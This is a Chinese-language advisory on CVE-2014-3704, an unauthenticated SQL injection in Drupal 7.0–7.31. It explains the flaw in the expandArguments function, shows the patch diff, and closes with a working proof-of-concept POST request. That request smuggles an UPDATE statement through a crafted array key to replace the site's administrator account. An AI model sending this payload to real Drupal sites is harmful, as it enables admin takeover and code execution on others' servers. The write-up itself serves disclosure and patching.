0x00 背景

影响版本：7.0 到 7.31
危害：非登录状态SQL注入，可造成代码执行。
风险：高危
厂商状态：Drupal的7.32修复此漏洞
CVE：CVE-2014-3704

0x01 细节

Drupal在所有的SQL查询语句当中都是用的预编译来处理。

为了处理IN语句，有一个expandArguments函数来展开数组。

#!php
 protected function expandArguments(&$query, &$args) {
  $modified = FALSE;

  // If the placeholder value to insert is an array, assume that we need
  // to expand it out into a comma-delimited set of placeholders.
  foreach (array_filter($args, 'is_array') as $key => $data) {
    $new_keys = array();
    foreach ($data as $i => $value) {
      // This assumes that there are no other placeholders that use the same
      // name.  For example, if the array placeholder is defined as :example
      // and there is already an :example_2 placeholder, this will generate
      // a duplicate key.  We do not account for that as the calling code
      // is already broken if that happens.
      $new_keys[$key . '_' . $i] = $value;
    }

    // Update the query with the new placeholders.
    // preg_replace is necessary to ensure the replacement does not affect
    // placeholders that start with the same exact text. For example, if the
    // query contains the placeholders :foo and :foobar, and :foo has an
    // array of values, using str_replace would affect both placeholders,
    // but using the following preg_replace would only affect :foo because
    // it is followed by a non-word character.
    $query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query);

    // Update the args array with the new placeholders.
    unset($args[$key]);
    $args += $new_keys;

    $modified = TRUE;
  }

  return $modified;
}

该函数假定它被调用时是没有key的。例如：

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2'))); 

执行的SQL语句为：

SELECT * from users where name IN (:name_0, :name_1) 

通过参数传入name_0= user1，name_1=user2。

那么问题来了，如果带入数组当中有key并且不是整数呢。例如：

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

执行SQL语句为：

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

参数：name_test=user2。

由于Drupal使用PDO，因此可以多语句查询。所以这个SQL注入向数据库里插入任意数据，下载或者修改存在的数据，甚至drop掉整个数据库。

攻击者可以通过向数据库里插入任意的数据，利用Drupal的特性执行PHP代码。

0x02 修复方案

#!diff
diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

0x03 POC

有人在pastebin上放出了把原来id为1的管理，替换成名字为owned，密码是thanks的管理员。

POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231

name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in